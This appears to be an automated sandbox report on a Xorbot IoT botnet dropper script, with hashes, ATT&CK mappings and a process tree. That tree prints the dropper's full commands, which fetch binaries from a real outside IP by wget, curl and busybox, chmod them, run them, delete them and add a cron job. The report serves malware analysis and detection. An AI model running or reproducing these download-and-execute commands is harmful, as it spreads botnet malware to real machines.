xorbot | 46319faf78e53f1182764f6bee7b5bbb790eb5b0c554de78b23e2362f7e49ef0

Analysis

max time kernel
149s
max time network
131s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
02-12-2024 09:47

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General

Target

bins.sh
Size

10KB
MD5

1c34c22f6ec5a232b2737aef798df9bd
SHA1

2bca089a2af1b83756cb67569281bee4451083ec
SHA256

46319faf78e53f1182764f6bee7b5bbb790eb5b0c554de78b23e2362f7e49ef0
SHA512

cc1c59ac10a2231a80d6b904204018c277baa5d9bf1e786340a0f9bf1464c075c185b11b022f50e89d357ff1a0f68ad6eb4b84fbdc03789d861821866b618d47
SSDEEP

192:rHHJy9rgUE/3wkUEHD/SaldVGKykUEHDEUldVGKuVkgUE/3G:rHpy9rgUE/3N7ldVGKbldVGKuCgUE/3G

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 7 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot
behavioral1/files/fstream-5.dat	family_xorbot
behavioral1/files/fstream-9.dat	family_xorbot
behavioral1/files/fstream-11.dat	family_xorbot
behavioral1/files/fstream-13.dat	family_xorbot
behavioral1/files/fstream-15.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmod

pid	Process
1509	chmod
1516	chmod
1523	chmod
1530	chmod
1537	chmod
1544	chmod
1551	chmod
1558	chmod

Executes dropped EXE 8 IoCs

Processes:

C4VovfyF5DD6s78LGsgxIQc4NrlIS81XChiFVaykQwso1qsP4266g9WGlFNUwMIx7Fc294u1Bos7uiJ8t5iUw96f6nM2nmefHWNztqYoBPnYpBUJ8YtDat3vkzm80omv680pLM3fjLWStJtW1FEdjV5PyUVMwpR4s26SpdTnNhfk7uIIBM49V8KND70jWiL3DcFD5VhzsybdPtq0FwmsdtQUeJlmwASl52TwhN6Z2jXAvJZ04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh

ioc	pid	Process
/tmp/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh	1510	C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
/tmp/iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2	1517	iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2
/tmp/94u1Bos7uiJ8t5iUw96f6nM2nmefHWNztq	1524	94u1Bos7uiJ8t5iUw96f6nM2nmefHWNztq
/tmp/YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f	1531	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
/tmp/jLWStJtW1FEdjV5PyUVMwpR4s26SpdTnNh	1538	jLWStJtW1FEdjV5PyUVMwpR4s26SpdTnNh
/tmp/fk7uIIBM49V8KND70jWiL3DcFD5Vhzsybd	1545	fk7uIIBM49V8KND70jWiL3DcFD5Vhzsybd
/tmp/Ptq0FwmsdtQUeJlmwASl52TwhN6Z2jXAvJ	1552	Ptq0FwmsdtQUeJlmwASl52TwhN6Z2jXAvJ
/tmp/Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh	1559	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh

Renames itself 1 IoCs

Processes:

Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh

pid	Process
1560	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.W4AKX9	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh

description	ioc	Process
File opened for reading	/proc/13/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/26/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/27/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/473/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/953/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/1322/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/1014/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/30/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/80/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/83/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/84/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/182/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/207/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/582/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/1100/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/1289/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/1344/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/19/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/175/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/176/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/539/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/1073/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/1080/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/1484/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/9/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/34/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/1118/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/1133/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/1182/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/1298/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/85/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/89/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/208/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/459/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/1169/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/1479/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/1491/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/262/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/5/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/18/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/28/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/558/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/1146/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/1568/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/1222/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/11/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/115/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/448/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/717/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/1124/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/1141/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/1196/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/1253/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/1191/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/10/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/22/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/24/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/277/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/454/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/886/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/1149/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/1193/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/6/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
File opened for reading	/proc/31/cmdline	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17ghrmwgetcurlbusybox

pid	Process
1559	Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
1566	rm
1555	wget
1556	curl
1557	busybox

Writes file to tmp directory 24 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlwgetcurlwgetcurlwgetcurlbusyboxwgetcurlbusyboxwgetcurlbusyboxbusyboxwgetbusyboxcurlbusyboxwgetbusyboxbusyboxcurl

description	ioc	Process
File opened for modification	/tmp/YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f	wget
File opened for modification	/tmp/YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f	curl
File opened for modification	/tmp/jLWStJtW1FEdjV5PyUVMwpR4s26SpdTnNh	wget
File opened for modification	/tmp/jLWStJtW1FEdjV5PyUVMwpR4s26SpdTnNh	curl
File opened for modification	/tmp/fk7uIIBM49V8KND70jWiL3DcFD5Vhzsybd	wget
File opened for modification	/tmp/Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh	curl
File opened for modification	/tmp/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh	wget
File opened for modification	/tmp/iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2	curl
File opened for modification	/tmp/jLWStJtW1FEdjV5PyUVMwpR4s26SpdTnNh	busybox
File opened for modification	/tmp/Ptq0FwmsdtQUeJlmwASl52TwhN6Z2jXAvJ	wget
File opened for modification	/tmp/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh	curl
File opened for modification	/tmp/94u1Bos7uiJ8t5iUw96f6nM2nmefHWNztq	busybox
File opened for modification	/tmp/94u1Bos7uiJ8t5iUw96f6nM2nmefHWNztq	wget
File opened for modification	/tmp/94u1Bos7uiJ8t5iUw96f6nM2nmefHWNztq	curl
File opened for modification	/tmp/YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f	busybox
File opened for modification	/tmp/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh	busybox
File opened for modification	/tmp/iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2	wget
File opened for modification	/tmp/fk7uIIBM49V8KND70jWiL3DcFD5Vhzsybd	busybox
File opened for modification	/tmp/Ptq0FwmsdtQUeJlmwASl52TwhN6Z2jXAvJ	curl
File opened for modification	/tmp/Ptq0FwmsdtQUeJlmwASl52TwhN6Z2jXAvJ	busybox
File opened for modification	/tmp/Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh	wget
File opened for modification	/tmp/Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh	busybox
File opened for modification	/tmp/iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2	busybox
File opened for modification	/tmp/fk7uIIBM49V8KND70jWiL3DcFD5Vhzsybd	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1484
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1485
- /usr/bin/wget
  wget http://216.126.231.240/bins/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  2⤵
  - Writes file to tmp directory
  PID:1486
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  2⤵
  - Writes file to tmp directory
  PID:1490
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  2⤵
  - Writes file to tmp directory
  PID:1500
- /bin/chmod
  chmod 777 C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  2⤵
  - File and Directory Permissions Modification
  PID:1509
- /tmp/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  ./C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  2⤵
  - Executes dropped EXE
  PID:1510
- /bin/rm
  rm C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  2⤵
  PID:1512
- /usr/bin/wget
  wget http://216.126.231.240/bins/iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2
  2⤵
  - Writes file to tmp directory
  PID:1513
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2
  2⤵
  - Writes file to tmp directory
  PID:1514
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2
  2⤵
  - Writes file to tmp directory
  PID:1515
- /bin/chmod
  chmod 777 iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2
  2⤵
  - File and Directory Permissions Modification
  PID:1516
- /tmp/iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2
  ./iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2
  2⤵
  - Executes dropped EXE
  PID:1517
- /bin/rm
  rm iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2
  2⤵
  PID:1519
- /usr/bin/wget
  wget http://216.126.231.240/bins/94u1Bos7uiJ8t5iUw96f6nM2nmefHWNztq
  2⤵
  - Writes file to tmp directory
  PID:1520
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/94u1Bos7uiJ8t5iUw96f6nM2nmefHWNztq
  2⤵
  - Writes file to tmp directory
  PID:1521
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/94u1Bos7uiJ8t5iUw96f6nM2nmefHWNztq
  2⤵
  - Writes file to tmp directory
  PID:1522
- /bin/chmod
  chmod 777 94u1Bos7uiJ8t5iUw96f6nM2nmefHWNztq
  2⤵
  - File and Directory Permissions Modification
  PID:1523
- /tmp/94u1Bos7uiJ8t5iUw96f6nM2nmefHWNztq
  ./94u1Bos7uiJ8t5iUw96f6nM2nmefHWNztq
  2⤵
  - Executes dropped EXE
  PID:1524
- /bin/rm
  rm 94u1Bos7uiJ8t5iUw96f6nM2nmefHWNztq
  2⤵
  PID:1526
- /usr/bin/wget
  wget http://216.126.231.240/bins/YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
  2⤵
  - Writes file to tmp directory
  PID:1527
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
  2⤵
  - Writes file to tmp directory
  PID:1528
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
  2⤵
  - Writes file to tmp directory
  PID:1529
- /bin/chmod
  chmod 777 YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
  2⤵
  - File and Directory Permissions Modification
  PID:1530
- /tmp/YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
  ./YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
  2⤵
  - Executes dropped EXE
  PID:1531
- /bin/rm
  rm YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
  2⤵
  PID:1533
- /usr/bin/wget
  wget http://216.126.231.240/bins/jLWStJtW1FEdjV5PyUVMwpR4s26SpdTnNh
  2⤵
  - Writes file to tmp directory
  PID:1534
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/jLWStJtW1FEdjV5PyUVMwpR4s26SpdTnNh
  2⤵
  - Writes file to tmp directory
  PID:1535
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/jLWStJtW1FEdjV5PyUVMwpR4s26SpdTnNh
  2⤵
  - Writes file to tmp directory
  PID:1536
- /bin/chmod
  chmod 777 jLWStJtW1FEdjV5PyUVMwpR4s26SpdTnNh
  2⤵
  - File and Directory Permissions Modification
  PID:1537
- /tmp/jLWStJtW1FEdjV5PyUVMwpR4s26SpdTnNh
  ./jLWStJtW1FEdjV5PyUVMwpR4s26SpdTnNh
  2⤵
  - Executes dropped EXE
  PID:1538
- /bin/rm
  rm jLWStJtW1FEdjV5PyUVMwpR4s26SpdTnNh
  2⤵
  PID:1540
- /usr/bin/wget
  wget http://216.126.231.240/bins/fk7uIIBM49V8KND70jWiL3DcFD5Vhzsybd
  2⤵
  - Writes file to tmp directory
  PID:1541
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fk7uIIBM49V8KND70jWiL3DcFD5Vhzsybd
  2⤵
  - Writes file to tmp directory
  PID:1542
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/fk7uIIBM49V8KND70jWiL3DcFD5Vhzsybd
  2⤵
  - Writes file to tmp directory
  PID:1543
- /bin/chmod
  chmod 777 fk7uIIBM49V8KND70jWiL3DcFD5Vhzsybd
  2⤵
  - File and Directory Permissions Modification
  PID:1544
- /tmp/fk7uIIBM49V8KND70jWiL3DcFD5Vhzsybd
  ./fk7uIIBM49V8KND70jWiL3DcFD5Vhzsybd
  2⤵
  - Executes dropped EXE
  PID:1545
- /bin/rm
  rm fk7uIIBM49V8KND70jWiL3DcFD5Vhzsybd
  2⤵
  PID:1547
- /usr/bin/wget
  wget http://216.126.231.240/bins/Ptq0FwmsdtQUeJlmwASl52TwhN6Z2jXAvJ
  2⤵
  - Writes file to tmp directory
  PID:1548
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Ptq0FwmsdtQUeJlmwASl52TwhN6Z2jXAvJ
  2⤵
  - Writes file to tmp directory
  PID:1549
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Ptq0FwmsdtQUeJlmwASl52TwhN6Z2jXAvJ
  2⤵
  - Writes file to tmp directory
  PID:1550
- /bin/chmod
  chmod 777 Ptq0FwmsdtQUeJlmwASl52TwhN6Z2jXAvJ
  2⤵
  - File and Directory Permissions Modification
  PID:1551
- /tmp/Ptq0FwmsdtQUeJlmwASl52TwhN6Z2jXAvJ
  ./Ptq0FwmsdtQUeJlmwASl52TwhN6Z2jXAvJ
  2⤵
  - Executes dropped EXE
  PID:1552
- /bin/rm
  rm Ptq0FwmsdtQUeJlmwASl52TwhN6Z2jXAvJ
  2⤵
  PID:1554
- /usr/bin/wget
  wget http://216.126.231.240/bins/Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1555
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1556
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1557
- /bin/chmod
  chmod 777 Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
  2⤵
  - File and Directory Permissions Modification
  PID:1558
- /tmp/Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
  ./Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:1559
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1561
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1562
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1563
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1564
- /bin/rm
  rm Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh
  2⤵
  - System Network Configuration Discovery
  PID:1566
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZCaiYSt7AYeCDb68LJFOcFhN3s8Sd3aRm0
  2⤵
  PID:1569

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/94u1Bos7uiJ8t5iUw96f6nM2nmefHWNztq

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/Ptq0FwmsdtQUeJlmwASl52TwhN6Z2jXAvJ

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/tmp/YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/Z04G7HWLNoRIPJCMewBltE1vT8fD7Z17gh

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/fk7uIIBM49V8KND70jWiL3DcFD5Vhzsybd

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/jLWStJtW1FEdjV5PyUVMwpR4s26SpdTnNh

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/var/spool/cron/crontabs/tmp.W4AKX9

Filesize
210B

MD5
ff2c318b396a19804f1e4b747032c731

SHA1
3377f860fbd24274bb3ed3ebd5d3598888f8ce6a

SHA256
855875f9768334a6f473f25419ec616ed1acd653660f22ea81dd03ddb1d18d95

SHA512
21ddd9716e6837641d8e179d42f52d8dcc478d227f7dcc450d840d91b045e8bcbbb64a2b8a34ca1b9de5e47457eaa1f018ee58fac4b8c80ae6eee403f64e453f

Download Submit